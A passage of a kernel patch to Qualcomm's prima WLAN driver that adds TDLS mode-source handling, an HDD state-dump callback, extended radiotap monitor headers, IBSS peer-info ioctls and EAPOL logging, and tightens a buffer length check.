if(eTDLS_SUPPORT_ENABLED == pHddCtx->tdls_mode_last || @@ -3085,7 +3275,8 @@ void wlan_hdd_tdls_scan_done_callback(hdd_adapter_t *pAdapter) VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, ("%s: revert tdls mode %d"), __func__, pHddCtx->tdls_mode_last); - wlan_hdd_tdls_set_mode(pHddCtx, pHddCtx->tdls_mode_last, FALSE); + wlan_hdd_tdls_set_mode(pHddCtx, pHddCtx->tdls_mode_last, FALSE, + HDD_SET_TDLS_MODE_SOURCE_SCAN); } wlan_hdd_tdls_check_bmps(pAdapter); @@ -3230,7 +3421,9 @@ int wlan_hdd_tdls_get_status(hdd_adapter_t *pAdapter, hddTdlsPeer_t *curr_peer; hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); + + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (curr_peer == NULL) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, @@ -3254,6 +3447,7 @@ int wlan_hdd_tdls_get_status(hdd_adapter_t *pAdapter, wlan_hdd_tdls_get_wifi_hal_state(curr_peer, state, reason); } } + mutex_unlock(&pHddCtx->tdls_lock); return (0); } @@ -3349,24 +3543,6 @@ void wlan_hdd_tdls_update_rx_pkt_cnt_n_rssi(hdd_adapter_t *pAdapter, MAC_ADDR_ARRAY(mac), rssiAvg); } -tdlsConnInfo_t *wlan_hdd_get_conn_info(hdd_context_t *pHddCtx, - tANI_U8 idx) -{ - tANI_U8 staIdx; - - /* check if there is available index for this new TDLS STA */ - for ( staIdx = 0; staIdx < HDD_MAX_NUM_TDLS_STA; staIdx++ ) - { - if (idx == pHddCtx->tdlsConnInfo[staIdx].staId ) - { - hddLog(LOG1, FL("tdls peer with staIdx %u exists"), idx ); - return (&pHddCtx->tdlsConnInfo[staIdx]); - } - } - hddLog(LOGE, FL("tdls peer with staIdx %u not exists"), idx ); - return NULL; -} - /** * wlan_hdd_tdls_reenable() - Re-Enable TDLS * @hddctx: pointer to hdd context @@ -3377,6 +3553,7 @@ tdlsConnInfo_t *wlan_hdd_get_conn_info(hdd_context_t *pHddCtx, */ void wlan_hdd_tdls_reenable(hdd_context_t *pHddCtx) { + if ((TRUE != pHddCtx->cfg_ini->fEnableTDLSSupport) || (TRUE != sme_IsFeatureSupportedByFW(TDLS))) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, @@ -3384,25 +3561,68 @@ void wlan_hdd_tdls_reenable(hdd_context_t *pHddCtx) return; } - /* if tdls is not enabled or BtCoex is on then don't revert tdls mode */ - if ((eTDLS_SUPPORT_NOT_ENABLED == pHddCtx->tdls_mode) || - (pHddCtx->is_tdls_btc_enabled == FALSE)) { + /* if tdls is not enabled then don't revert tdls mode */ + if ((eTDLS_SUPPORT_NOT_ENABLED == pHddCtx->tdls_mode)) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("btc disable tdls so no need to enable: Mode=%d, BTC enabled=%d"), - pHddCtx->tdls_mode, pHddCtx->is_tdls_btc_enabled); - return; + FL("TDLS disabled so no need to enable: Mode=%d"), + pHddCtx->tdls_mode); + return; } if (eTDLS_SUPPORT_ENABLED == pHddCtx->tdls_mode_last || - eTDLS_SUPPORT_EXPLICIT_TRIGGER_ONLY == - pHddCtx->tdls_mode_last) { - /* Enable TDLS support Once P2P session ends since - * upond detection of concurrency TDLS might be disabled - */ - hddLog(LOG1, FL("TDLS mode set to %d"), pHddCtx->tdls_mode_last); - wlan_hdd_tdls_set_mode(pHddCtx, pHddCtx->tdls_mode_last, - FALSE); + eTDLS_SUPPORT_EXPLICIT_TRIGGER_ONLY == + pHddCtx->tdls_mode_last) { + /* Enable TDLS support Once P2P session ends since + * upond detection of concurrency TDLS might be disabled + */ + hddLog(LOG1, FL("TDLS mode set to %d"), pHddCtx->tdls_mode_last); + wlan_hdd_tdls_set_mode(pHddCtx, pHddCtx->tdls_mode_last, + FALSE, HDD_SET_TDLS_MODE_SOURCE_P2P); } } -/*EXT TDLS*/ +tdlsConnInfo_t *wlan_hdd_get_conn_info(hdd_context_t *pHddCtx, + tANI_U8 idx) +{ + tANI_U8 staIdx; + + /* check if there is available index for this new TDLS STA */ + for ( staIdx = 0; staIdx < HDD_MAX_NUM_TDLS_STA; staIdx++ ) + { + if (idx == pHddCtx->tdlsConnInfo[staIdx].staId ) + { + hddLog(LOG1, FL("tdls peer with staIdx %u exists"), idx ); + return (&pHddCtx->tdlsConnInfo[staIdx]); + } + } + hddLog(LOGE, FL("tdls peer with staIdx %u not exists"), idx ); + return NULL; +} + +void wlan_hdd_change_tdls_mode(void *data) +{ + hdd_context_t *hdd_ctx = (hdd_context_t *)data; + + wlan_hdd_tdls_set_mode(hdd_ctx, eTDLS_SUPPORT_ENABLED, FALSE, + HDD_SET_TDLS_MODE_SOURCE_OFFCHANNEL); +} + +void wlan_hdd_start_stop_tdls_source_timer(hdd_context_t *pHddCtx, + eTDLSSupportMode tdls_mode) +{ + if (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&pHddCtx->tdls_source_timer)) + vos_timer_stop(&pHddCtx->tdls_source_timer); + + if (tdls_mode == eTDLS_SUPPORT_DISABLED) { + wlan_hdd_tdls_set_mode(pHddCtx, tdls_mode, FALSE, + HDD_SET_TDLS_MODE_SOURCE_OFFCHANNEL); + } + + vos_timer_start(&pHddCtx->tdls_source_timer, + pHddCtx->cfg_ini->tdls_enable_defer_time); + + return; +} + +/*EXT TDLS*/ diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_trace.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_trace.c index 0713e1c6b22cc..6901109e46d53 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_trace.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_trace.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2014-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -135,3 +135,65 @@ void hddTraceInit() { vosTraceRegister(VOS_MODULE_ID_HDD, (tpvosTraceCb)&hddTraceDump); } + +/** + * hdd_state_info_dump() - prints state information of hdd layer + */ +static void hdd_state_info_dump(void) +{ + v_CONTEXT_t vos_ctx_ptr; + hdd_context_t *hdd_ctx_ptr = NULL; + hdd_adapter_list_node_t *adapter_node = NULL, *next = NULL; + VOS_STATUS status; + hdd_station_ctx_t *hdd_sta_ctx = NULL; + hdd_adapter_t *adapter =NULL; + + /* get the global voss context */ + vos_ctx_ptr = vos_get_global_context(VOS_MODULE_ID_VOSS, NULL); + + if (!vos_ctx_ptr) { + hddLog(LOGE, FL("Invalid Global VOSS Context")); + VOS_ASSERT(0); + return; + } + hdd_ctx_ptr = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx_ptr); + if (!hdd_ctx_ptr) { + hddLog(LOGE, FL("HDD context is Null")); + return; + } + + hddLog(LOG1, + FL("mScanPending %d isWlanSuspended %d disable_dfs_flag %d"), + hdd_ctx_ptr->scan_info.mScanPending, + hdd_ctx_ptr->isWlanSuspended, hdd_ctx_ptr->disable_dfs_flag); + + status = hdd_get_front_adapter(hdd_ctx_ptr, &adapter_node); + + while (NULL != adapter_node && VOS_STATUS_SUCCESS == status) { + adapter = adapter_node->pAdapter; + if (adapter->dev) + hddLog(LOG1, FL("device name: %s"), adapter->dev->name); + switch (adapter->device_mode) { + case WLAN_HDD_INFRA_STATION: + case WLAN_HDD_P2P_CLIENT: + hdd_sta_ctx = WLAN_HDD_GET_STATION_CTX_PTR(adapter); + hddLog(LOG1, FL("connState: %d device_mode: %d"), + hdd_sta_ctx->conn_info.connState, adapter->device_mode); + break; + + default: + break; + } + status = hdd_get_next_adapter(hdd_ctx_ptr, adapter_node, &next); + adapter_node = next; + } +} + +/** + * hdd_register_debug_callback() - registration function for hdd layer + * to print hdd state information + */ +void hdd_register_debug_callback() +{ + vos_register_debug_callback(VOS_MODULE_ID_HDD, &hdd_state_info_dump); +} diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c index baeedd61e5403..06d5b60f6a4eb 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tx_rx.c @@ -98,6 +98,7 @@ const v_U8_t hdd_QdiscAcToTlAC[] = { #define EAPOL_M3_BIT_MASK 0x8013 #define EAPOL_M4_BIT_MASK 0x0003 + int gRatefromIdx[] = { 10,20,55,100, 10,20,55,110, @@ -792,7 +793,7 @@ void hdd_dump_dhcp_pkt(struct sk_buff *skb, int path) } /**============================================================================ - @brief hdd_hard_start_xmit() - Function registered with the Linux OS for + @brief __hdd_hard_start_xmit() - Function registered with the Linux OS for transmitting packets. There are 2 versions of this function. One that uses locked queue and other that uses lockless queues. Both have been retained to do some performance testing @@ -803,7 +804,7 @@ void hdd_dump_dhcp_pkt(struct sk_buff *skb, int path) @return : NET_XMIT_DROP if packets are dropped : NET_XMIT_SUCCESS if packet is enqueued succesfully ===========================================================================*/ -int hdd_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) +int __hdd_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { VOS_STATUS status; WLANTL_ACEnumType qid, ac; @@ -1038,6 +1039,15 @@ int hdd_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) return NETDEV_TX_OK; } +int hdd_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) +{ + int ret; + vos_ssr_protect(__func__); + ret = __hdd_hard_start_xmit(skb, dev); + vos_ssr_unprotect(__func__); + return ret; +} + /**============================================================================ @brief hdd_Ibss_GetStaId() - Get the StationID using the Peer Mac address @@ -1188,6 +1198,7 @@ void __hdd_tx_timeout(struct net_device *dev) "%s: Request firmware for recovery",__func__); WLANTL_TLDebugMessage(WLANTL_DEBUG_FW_CLEANUP); } + /* * This function is getting called in softirq context, So don't hold * any mutex. @@ -1205,12 +1216,13 @@ void __hdd_tx_timeout(struct net_device *dev) "%s: Cannot recover from Data stall Issue SSR", __func__); WLANTL_FatalError(); + // reset count after issuing the SSR + pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount = 0; return; } } else { - mutex_unlock(&pHddCtx->roc_lock); VOS_TRACE(VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_ERROR, "Remain on channel in progress"); /* The supplicant can retry "P2P Invitation Request" for 120 times @@ -1244,7 +1256,15 @@ void __hdd_tx_timeout(struct net_device *dev) hdd_wmm_tx_snapshot(pAdapter); WLANTL_TLDebugMessage(WLANTL_DEBUG_TX_SNAPSHOT); } - + /* Call fatal event if data stall is for + * HDD_TX_STALL_FATAL_EVENT_THRESHOLD times + */ + if (HDD_TX_STALL_FATAL_EVENT_THRESHOLD == + pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount) + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DATA_STALL, + FALSE, TRUE); } /**============================================================================ @@ -2085,30 +2105,7 @@ VOS_STATUS hdd_tx_fetch_packet_cbk( v_VOID_t *vosContext, #endif -#ifdef FEATURE_WLAN_TDLS - if (eTDLS_SUPPORT_ENABLED == pHddCtx->tdls_mode) - { - hdd_station_ctx_t *pHddStaCtx = &pAdapter->sessionCtx.station; - u8 mac[6]; - - wlan_hdd_tdls_extract_da(skb, mac); - - if (vos_is_macaddr_group((v_MACADDR_t *)mac)) { - VOS_TRACE( VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_INFO_MED, - "broadcast packet, not adding to peer list"); - } else if (memcmp(pHddStaCtx->conn_info.bssId, - mac, 6) != 0) { - VOS_TRACE( VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_INFO_MED, - "extract mac: " MAC_ADDRESS_STR, - MAC_ADDR_ARRAY(mac) ); - - wlan_hdd_tdls_increment_pkt_count(pAdapter, mac, 1); - } else { - VOS_TRACE( VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_INFO_MED, - "packet da is bssid, not adding to peer list"); - } - } -#endif + wlan_hdd_tdls_notify_packet(pAdapter, skb); //Return VOS packet to TL; *ppVosPacket = pVosPacket; @@ -2366,13 +2363,18 @@ VOS_STATUS hdd_tx_low_resource_cbk( vos_pkt_t *pVosPacket, static void hdd_mon_add_rx_radiotap_hdr (struct sk_buff *skb, int rtap_len, v_PVOID_t pRxPacket, hdd_mon_ctx_t *pMonCtx) { - u8 rtap_temp[20] = {0}; + u8 rtap_temp[28] = {0}; struct ieee80211_radiotap_header *rthdr; unsigned char *pos; + u32 mac_time; u16 rx_flags = 0; u16 rateIdx; - s8 currentRSSI, currentRSSI0, currentRSSI1; + u16 channel_flags = 0; + u8 rfBand; + s8 currentRSSI, currentRSSI0, currentRSSI1; + s8 noise; + mac_time = WDA_GET_RX_TIMESTAMP(pRxPacket); rateIdx = WDA_GET_RX_MAC_RATE_IDX(pRxPacket); if( rateIdx >= 210 && rateIdx <= 217) rateIdx-=202; @@ -2384,37 +2386,54 @@ static void hdd_mon_add_rx_radiotap_hdr (struct sk_buff *skb, "%s: invalid rateIdx %d make it 0", __func__, rateIdx); rateIdx = 0; } + rfBand = WDA_GET_RX_RFBAND(pRxPacket); + if (IS_5G_BAND(rfBand)) + channel_flags |= IEEE80211_CHAN_5GHZ; + else + channel_flags |= IEEE80211_CHAN_2GHZ; currentRSSI0 = WDA_GETRSSI0(pRxPacket) - 100; currentRSSI1 = WDA_GETRSSI1(pRxPacket) - 100; currentRSSI = (currentRSSI0 > currentRSSI1) ? currentRSSI0 : currentRSSI1; + noise = WDA_GET_RX_SNR(pRxPacket); rthdr = (struct ieee80211_radiotap_header *)(&rtap_temp[0]); /* radiotap header, set always present flags */ - rthdr->it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | + rthdr->it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_TSFT) | + (1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE) | (1 << IEEE80211_RADIOTAP_RX_FLAGS)); rthdr->it_len = cpu_to_le16(rtap_len); pos = (unsigned char *) (rthdr + 1); + /* IEEE80211_RADIOTAP_TSFT */ + put_unaligned_le64(mac_time, pos); + pos += 8; + /* IEEE80211_RADIOTAP_FLAGS */ *pos = 0; pos++; /* IEEE80211_RADIOTAP_RATE */ - rthdr->it_present |= cpu_to_le32(1 << IEEE80211_RADIOTAP_RATE); *pos = gRatefromIdx[rateIdx]/5; - pos++; /* IEEE80211_RADIOTAP_CHANNEL */ put_unaligned_le16(pMonCtx->ChannelNo, pos); - pos += 4; + pos += 2; + put_unaligned_le16(channel_flags, pos); + pos += 2; /* IEEE80211_RADIOTAP_DBM_ANTSIGNAL */ *pos = currentRSSI; - rthdr->it_present |=cpu_to_le32(1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL); + pos++; + + /* IEEE80211_RADIOTAP_DBM_ANTNOISE */ + *pos = noise; pos++; if ((pos - (u8 *)rthdr) & 1) @@ -2490,7 +2509,7 @@ VOS_STATUS hdd_rx_packet_monitor_cbk(v_VOID_t *vosContext,vos_pkt_t *pVosPacket if(!conversion) { pMonCtx = WLAN_HDD_GET_MONITOR_CTX_PTR(pAdapter); - needed_headroom = sizeof(struct ieee80211_radiotap_header) + 10; + needed_headroom = sizeof(struct ieee80211_radiotap_header) + 18; hdd_mon_add_rx_radiotap_hdr( skb, needed_headroom, pvBDHeader, pMonCtx ); } @@ -2682,7 +2701,15 @@ VOS_STATUS hdd_rx_packet_cbk( v_VOID_t *vosContext, HDD_WAKE_LOCK_DURATION, WIFI_POWER_EVENT_WAKELOCK_HOLD_RX); #endif - rxstat = netif_rx_ni(skb); + if (pNextVosPacket) + { + rxstat = netif_rx(skb); + } + else + { + rxstat = netif_rx_ni(skb); + } + if (NET_RX_SUCCESS == rxstat) { ++pAdapter->hdd_stats.hddTxRxStats.rxDelivered; @@ -2833,7 +2860,7 @@ void hdd_tx_rx_pkt_cnt_stat_timer_handler( void *phddctx) */ if ((pHddCtx->isTdlsScanCoexistence == FALSE) && (pHddCtx->issplitscan_enabled)) { - VOS_TRACE( VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE( VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_INFO, "%s: Disable split scan", __func__); pHddCtx->issplitscan_enabled = FALSE; sme_enable_disable_split_scan( @@ -2939,8 +2966,31 @@ void wlan_hdd_log_eapol(struct sk_buff *skb, wlan_hdd_get_eapol_params(skb, &eapol_params, event_type); wlan_hdd_event_eapol_log(eapol_params); - VOS_TRACE( VOS_MODULE_ID_HDD_DATA, VOS_TRACE_LEVEL_INFO, - "Eapol subtype is %d and key info is %d\n", - eapol_params.event_sub_type,eapol_params.eapol_key_info); + + if ((eapol_params.eapol_key_info & EAPOL_MASK )== EAPOL_M1_BIT_MASK) + { + hddLog(LOG1, FL("%s: M1 packet"),eapol_params.event_sub_type == + WIFI_EVENT_DRIVER_EAPOL_FRAME_RECEIVED ? "RX" : "TX"); + } + else if ((eapol_params.eapol_key_info & EAPOL_MASK )== EAPOL_M2_BIT_MASK) + { + hddLog(LOG1, FL("%s: M2 packet"),eapol_params.event_sub_type == + WIFI_EVENT_DRIVER_EAPOL_FRAME_RECEIVED ? "RX" : "TX"); + + } + + else if ((eapol_params.eapol_key_info & EAPOL_MASK )== EAPOL_M3_BIT_MASK) + { + hddLog(LOG1, FL("%s: M3 packet"),eapol_params.event_sub_type == + WIFI_EVENT_DRIVER_EAPOL_FRAME_RECEIVED ? "RX" : "TX"); + } + + else if ((eapol_params.eapol_key_info & EAPOL_MASK )== EAPOL_M4_BIT_MASK) + { + hddLog(LOG1, FL("%s: M4 packet"),eapol_params.event_sub_type == + WIFI_EVENT_DRIVER_EAPOL_FRAME_RECEIVED ? "RX" : "TX"); + + } + } #endif /* FEATURE_WLAN_DIAG_SUPPORT */ diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c index a5cc211202529..03ec19f8bd428 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wext.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -172,7 +172,8 @@ static const hdd_freq_chan_map_t freq_chan_map[] = { {2412, 1}, {2417, 2}, #endif #define WE_SET_RTS_CTS_HTVHT 21 #define WE_SET_MONITOR_STATE 22 -#define WE_SET_PROXIMITY_ENABLE 23 +#define WE_SET_PKT_STATS_ENABLE_DISABLE 23 +#define WE_SET_PROXIMITY_ENABLE 24 /* Private ioctls and their sub-ioctls */ #define WLAN_PRIV_SET_NONE_GET_INT (SIOCIWFIRSTPRIV + 1) @@ -185,6 +186,7 @@ static const hdd_freq_chan_map_t freq_chan_map[] = { {2412, 1}, {2417, 2}, #define WE_GET_SAP_AUTO_CHANNEL_SELECTION 8 #define WE_GET_CONCURRENCY_MODE 9 #define WE_GET_SCAN_BAND_PREFERENCE 10 +#define WE_GET_ANTENA_DIVERSITY_SELECTION 11 /* Private ioctls and their sub-ioctls */ #define WLAN_PRIV_SET_INT_GET_INT (SIOCIWFIRSTPRIV + 2) @@ -223,7 +225,14 @@ static const hdd_freq_chan_map_t freq_chan_map[] = { {2412, 1}, {2417, 2}, #define WE_GET_11W_INFO 9 #endif #define WE_GET_STATES 10 -#define WE_GET_SNR 11 +#ifdef WLAN_FEATURE_RMC +#define WE_GET_IBSS_STA_INFO 11 +#endif +#define WE_GET_SNR 12 + +#ifdef FEATURE_OEM_DATA_SUPPORT +#define WE_GET_OEM_DATA_CAP 13 +#endif /* Private ioctls and their sub-ioctls */ #define WLAN_PRIV_SET_NONE_GET_NONE (SIOCIWFIRSTPRIV + 6) @@ -238,10 +247,14 @@ static const hdd_freq_chan_map_t freq_chan_map[] = { {2412, 1}, {2417, 2}, #define WE_DISPLAY_DXE_SNAP_SHOT 7 #define WE_SET_REASSOC_TRIGGER 8 #define WE_DISPLAY_DATAPATH_SNAP_SHOT 9 +#ifdef WLAN_FEATURE_RMC +#define WE_IBSS_GET_PEER_INFO_ALL 10 +#endif #define WE_STOP_OBSS_SCAN 11 #define WE_DUMP_ROAM_TIMER_LOG 12 #define WE_RESET_ROAM_TIMER_LOG 13 #define WE_GET_FW_LOGS 14 +#define WE_GET_FW_MEMDUMP 15 /* Private ioctls and their sub-ioctls */ #define WLAN_PRIV_SET_VAR_INT_GET_NONE (SIOCIWFIRSTPRIV + 7) @@ -255,6 +268,9 @@ static const hdd_freq_chan_map_t freq_chan_map[] = { {2412, 1}, {2417, 2}, #ifdef FEATURE_WLAN_TDLS #define WE_TDLS_CONFIG_PARAMS 5 #endif +#ifdef WLAN_FEATURE_RMC +#define WE_IBSS_GET_PEER_INFO 6 +#endif #define WE_MTRACE_DUMP_CMD 8 #define WE_MTRACE_SELECTIVE_MODULE_LOG_ENABLE_CMD 9 @@ -403,7 +419,9 @@ int hdd_validate_mcc_config(hdd_adapter_t *pAdapter, v_UINT_t staId, int wlan_hdd_set_filter(hdd_context_t *pHddCtx, tpPacketFilterCfg pRequest, v_U8_t sessionId); #endif - +static int get_fwr_memdump(struct net_device *, + struct iw_request_info *, + union iwreq_data *, char *); /**--------------------------------------------------------------------------- \brief mem_alloc_copy_from_user_helper - @@ -553,6 +571,163 @@ void hdd_wlan_get_version(hdd_adapter_t *pAdapter, union iwreq_data *wrqu, return; } +#ifdef WLAN_FEATURE_RMC +void hdd_get_ibss_peer_info_cb(v_VOID_t *pUserData, v_VOID_t *pPeerInfoRsp) +{ + hdd_adapter_t *pAdapter = (hdd_adapter_t *)pUserData; + tSirPeerInfoRspParams *pPeerInfo = (tSirPeerInfoRspParams *)pPeerInfoRsp; + hdd_station_ctx_t *pStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + v_U8_t i; + + if (NULL != pPeerInfo && eHAL_STATUS_SUCCESS == pPeerInfo->status) + { + pStaCtx->ibss_peer_info.status = pPeerInfo->status; + pStaCtx->ibss_peer_info.numIBSSPeers = pPeerInfo->numPeers; + for (i = 0; i < pPeerInfo->numPeers; i++) + { + memcpy(&pStaCtx->ibss_peer_info.ibssPeerList[i], + &pPeerInfo->peerInfoParams[i], sizeof(hdd_ibss_peer_info_params_t)); + } + } + else + { + hddLog(LOGE, + FL("PEER_INFO_CMD_STATUS is not SUCCESS")); + } + + complete(&pAdapter->ibss_peer_info_comp); +} + +v_MACADDR_t* hdd_wlan_get_ibss_mac_addr_from_staid(hdd_adapter_t *pAdapter, v_U8_t staIdx) +{ + v_U8_t idx; + hdd_station_ctx_t *pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + + for ( idx = 0; idx < HDD_MAX_NUM_IBSS_STA; idx++ ) + { + if ( 0 != pHddStaCtx->conn_info.staId[ idx ] && + staIdx == pHddStaCtx->conn_info.staId[ idx ]) + { + return (&pHddStaCtx->conn_info.peerMacAddress[ idx ]); + } + } + return NULL; +} + +eHalStatus hdd_wlan_get_ibss_peer_info(hdd_adapter_t *pAdapter, v_U8_t staIdx) +{ + eHalStatus status = eHAL_STATUS_FAILURE; + tHalHandle hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + hdd_station_ctx_t *pStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + hdd_ibss_peer_info_t *pPeerInfo = &pStaCtx->ibss_peer_info; + + status = sme_RequestIBSSPeerInfo(hHal, pAdapter, hdd_get_ibss_peer_info_cb, + VOS_FALSE, staIdx); + + INIT_COMPLETION(pAdapter->ibss_peer_info_comp); + + if (eHAL_STATUS_SUCCESS == status) + { + long ret; + ret = wait_for_completion_interruptible_timeout + (&pAdapter->ibss_peer_info_comp, + msecs_to_jiffies(IBSS_PEER_INFO_REQ_TIMOEUT)); + if (ret <= 0) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("failed wait on ibss_peer_info_comp %ld"), ret); + return eHAL_STATUS_FAILURE; + } + + /** Print the peer info */ + pr_info("pPeerInfo->numIBSSPeers = %d ", pPeerInfo->numIBSSPeers); + pr_info("============================================================"); + { + v_MACADDR_t *macAddr = hdd_wlan_get_ibss_mac_addr_from_staid(pAdapter, + staIdx); + v_U32_t txRateMbps = ((pPeerInfo->ibssPeerList[0].txRate)*500*1000)/1000000; + + if (NULL != macAddr) + { + pr_info("PEER ADDR :" MAC_ADDRESS_STR " TxRate: %d Mbps RSSI: %d", + MAC_ADDR_ARRAY(macAddr->bytes), + (int)txRateMbps, (int)pPeerInfo->ibssPeerList[0].rssi); + } + else + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + " ERROR: PEER MAC ADDRESS NOT FOUND "); + } + } + } + else + { + hddLog(VOS_TRACE_LEVEL_WARN, + "%s: Warning: sme_RequestIBSSPeerInfo Request failed", __func__); + } + + return status; +} + +eHalStatus hdd_wlan_get_ibss_peer_info_all(hdd_adapter_t *pAdapter) +{ + eHalStatus status = eHAL_STATUS_FAILURE; + tHalHandle hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + hdd_station_ctx_t *pStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + hdd_ibss_peer_info_t *pPeerInfo = &pStaCtx->ibss_peer_info; + int i; + + status = sme_RequestIBSSPeerInfo(hHal, pAdapter, hdd_get_ibss_peer_info_cb, + VOS_TRUE, 0xFF); + INIT_COMPLETION(pAdapter->ibss_peer_info_comp); + + if (eHAL_STATUS_SUCCESS == status) + { + long ret; + ret = wait_for_completion_interruptible_timeout + (&pAdapter->ibss_peer_info_comp, + msecs_to_jiffies(IBSS_PEER_INFO_REQ_TIMOEUT)); + if (ret <= 0) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("failed wait on ibss_peer_info_comp %ld"), ret); + return eHAL_STATUS_FAILURE; + } + + /** Print the peer info */ + pr_info("pPeerInfo->numIBSSPeers = %d ", (int)pPeerInfo->numIBSSPeers); + pr_info("============================================================"); + for (i = 0; i < pPeerInfo->numIBSSPeers; i++) + { + v_U8_t staIdx = pPeerInfo->ibssPeerList[i].staIdx; + v_MACADDR_t *macAddr = hdd_wlan_get_ibss_mac_addr_from_staid(pAdapter, + staIdx); + v_U32_t txRateMbps = ((pPeerInfo->ibssPeerList[0].txRate)*500*1000)/1000000; + + pr_info("STAIDX:%d ", (int)pPeerInfo->ibssPeerList[i].staIdx); + if (NULL != macAddr) + { + pr_info(" PEER ADDR :" MAC_ADDRESS_STR " TxRate: %d Mbps RSSI: %d", + MAC_ADDR_ARRAY(macAddr->bytes), + (int)txRateMbps, (int)pPeerInfo->ibssPeerList[i].rssi); + } + else + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + " ERROR: PEER MAC ADDRESS NOT FOUND "); + } + } + } + else + { + hddLog(VOS_TRACE_LEVEL_WARN, + "%s: Warning: sme_RequestIBSSPeerInfo Request failed", __func__); + } + + return status; +} +#endif /* WLAN_FEATURE_RMC */ + int hdd_wlan_get_rts_threshold(hdd_adapter_t *pAdapter, union iwreq_data *wrqu) { tHalHandle hHal; @@ -964,7 +1139,7 @@ VOS_STATUS wlan_hdd_get_frame_logs(hdd_adapter_t *pAdapter, v_U8_t flag) pHddCtx = WLAN_HDD_GET_CTX(pAdapter); if (!pHddCtx->mgmt_frame_logging) { - hddLog(VOS_TRACE_LEVEL_ERROR,"%s: Frame Logging not init!", __func__); + hddLog(LOGW, FL("Frame Logging not init!")); return VOS_STATUS_E_AGAIN; } @@ -2558,16 +2733,21 @@ static int __iw_get_genie(struct net_device *dev, pAdapter->sessionId, &length, genIeBytes); - length = VOS_MIN((u_int16_t) length, DOT11F_IE_RSN_MAX_LEN); - if (wrqu->data.length < length) - { - hddLog(LOG1, "%s: failed to copy data to user buffer", __func__); + if (eHAL_STATUS_SUCCESS != status) { + hddLog(LOGE, FL("failed to get WPA-RSN IE data")); return -EFAULT; } - vos_mem_copy( extra, (v_VOID_t*)genIeBytes, length); + wrqu->data.length = length; + if (length > DOT11F_IE_RSN_MAX_LEN) { + hddLog(LOGE, + FL("invalid buffer length length:%d"), length); + return -E2BIG; + } - hddLog(LOG1,"%s: RSN IE of %d bytes returned", __func__, wrqu->data.length ); + vos_mem_copy( extra, (v_VOID_t*)genIeBytes, length); + + hddLog(LOG1, FL("RSN IE of %d bytes returned"), wrqu->data.length ); EXIT(); @@ -3415,7 +3595,8 @@ VOS_STATUS wlan_hdd_get_station_stats(hdd_adapter_t *pAdapter) hstatus = sme_GetStatistics(WLAN_HDD_GET_HAL_CTX(pAdapter), eCSR_HDD, SME_SUMMARY_STATS | - SME_GLOBAL_CLASSA_STATS, + SME_GLOBAL_CLASSA_STATS | + SME_PER_PKT_STATS, 